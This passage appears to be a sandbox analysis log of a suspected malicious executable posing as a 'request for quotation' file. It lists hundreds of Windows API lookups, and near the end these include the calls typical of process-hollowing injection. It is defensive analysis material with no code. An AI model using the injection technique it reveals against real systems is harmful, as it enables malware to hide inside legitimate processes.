00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry_RetAddr (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter _CorExeMain_RetAddr (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter _CorExeMain (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter IsAppThemed (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter IsAppThemedW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CreateActCtx (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CreateActCtxA (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegisterWindowMessage (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegisterWindowMessageW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter SortGetHandle (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter SortCloseHandle (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetComputerName (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetComputerNameW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptor (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptorW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CreateFileMapping (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CreateFileMappingW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter MapViewOfFile (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter VirtualQuery (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CreateMutex (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CreateMutexW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter OpenMutex (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter OpenMutexW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CryptGetDefaultProviderW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CryptGenRandom (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter _______SQL______Process______Available@0 (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ______SQL______Process______Available (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter DllBidFinalize (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter DllBidFinalizeA (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter _DllBidFinalize@0 (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter DllBidEntryPoint (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter DllBidEntryPointA (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter _DllBidEntryPoint@36 (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter DllBidInitialize (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter DllBidInitializeA (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter _DllBidInitialize@0 (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter DllBidCtlProc (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter DllBidCtlProcW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter _DllBidCtlProc@24 (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionAndSpinCount (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ProcessIdToSessionId (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmCreateContext (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmDestroyContext (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter AdjustWindowRectEx (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetCurrentThread (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetCurrentThreadId (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter DefWindowProcW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetStockObject (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegisterClass (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegisterClassW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CreateWindowEx (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CreateWindowExW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter SetWindowLong (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter SetWindowLongW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetWindowLong (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetWindowLongW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CallWindowProc (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CallWindowProcW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetClientRect (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetWindowRect (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetParent (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetSystemDefaultLCID (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetSystemDefaultLCIDW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetObject (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetObjectW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetDC (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GdiplusStartup (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter IsProcessorFeaturePresent (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetWindowInfo (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetAncestor (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetMonitorInfoA (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter EnumDisplayMonitors (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter EnumDisplayDevicesA (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ExtTextOutW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GdiIsMetaPrintDC (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GdipCreateFontFromLogfontW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyA (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ND_RI2 (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ND_RI2_RetAddr (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ND_RU1 (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ND_RU1_RetAddr (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GdipGetFontUnit (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GdipGetFontSize (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GdipGetFontStyle (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GdipGetFamily (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ReleaseDC (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GdipCreateFromHDC (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GdipGetDpiY (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GdipGetFontHeight (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GdipGetEmHeight (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GdipGetLineSpacing (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GdipDeleteGraphics (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GdipCreateFont (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GdipDeleteFont (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetUserObjectInformation (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetUserObjectInformationA (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetClassInfo (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetClassInfoW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter DefWindowProc (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetSysColor (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetSysColorW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GdipLoadImageFromStream (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GdipImageForceValidation (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GdipGetImageType (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GdipGetImageRawFormat (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GdipCreatePen1 (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GdipGetImageWidth (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GdipGetImageHeight (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GdipCreateBitmapFromScan0 (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GdipBitmapGetPixel (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GdipGetImagePixelFormat (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GdipBitmapSetPixel (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ResumeThread (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter Wow64SetThreadContext (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter SetThreadContext (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter Wow64GetThreadContext (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetThreadContext (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter VirtualAllocEx (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter WriteProcessMemory (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ReadProcessMemory (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ZwUnmapViewOfSection (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CreateProcessA (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter SetClassLong (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter SetClassLongW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter PostMessage (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter PostMessageW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter UnregisterClass (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter UnregisterClassW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter IsWindow (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter DestroyWindow (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter DestroyWindowW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GdipDisposeImage (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GdipDeletePen (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter OleLoadPictureEx (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter DispCallFunc (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter LoadTypeLibEx (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter UnRegisterTypeLib (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CreateTypeLib2 (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarDateFromUdate (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarUdateFromDate (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetAltMonthNames (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarNumFromParseNum (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarParseNumFromStr (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarDecFromR4 (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarDecFromR8 (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarDecFromDate (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarDecFromI4 (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarDecFromCy (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarR4FromDec (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetRecordInfoFromTypeInfo (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetRecordInfoFromGuids (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SafeArrayGetRecordInfo (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SafeArraySetRecordInfo (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SafeArrayGetIID (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SafeArraySetIID (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SafeArrayCopyData (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SafeArrayAllocDescriptorEx (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SafeArrayCreateEx (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarFormat (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarFormatDateTime (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarNeg (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarNot (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarRound (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarCmp (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarDecAdd (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarDecCmp (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarBstrCat (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarCyMulI4 (UID: 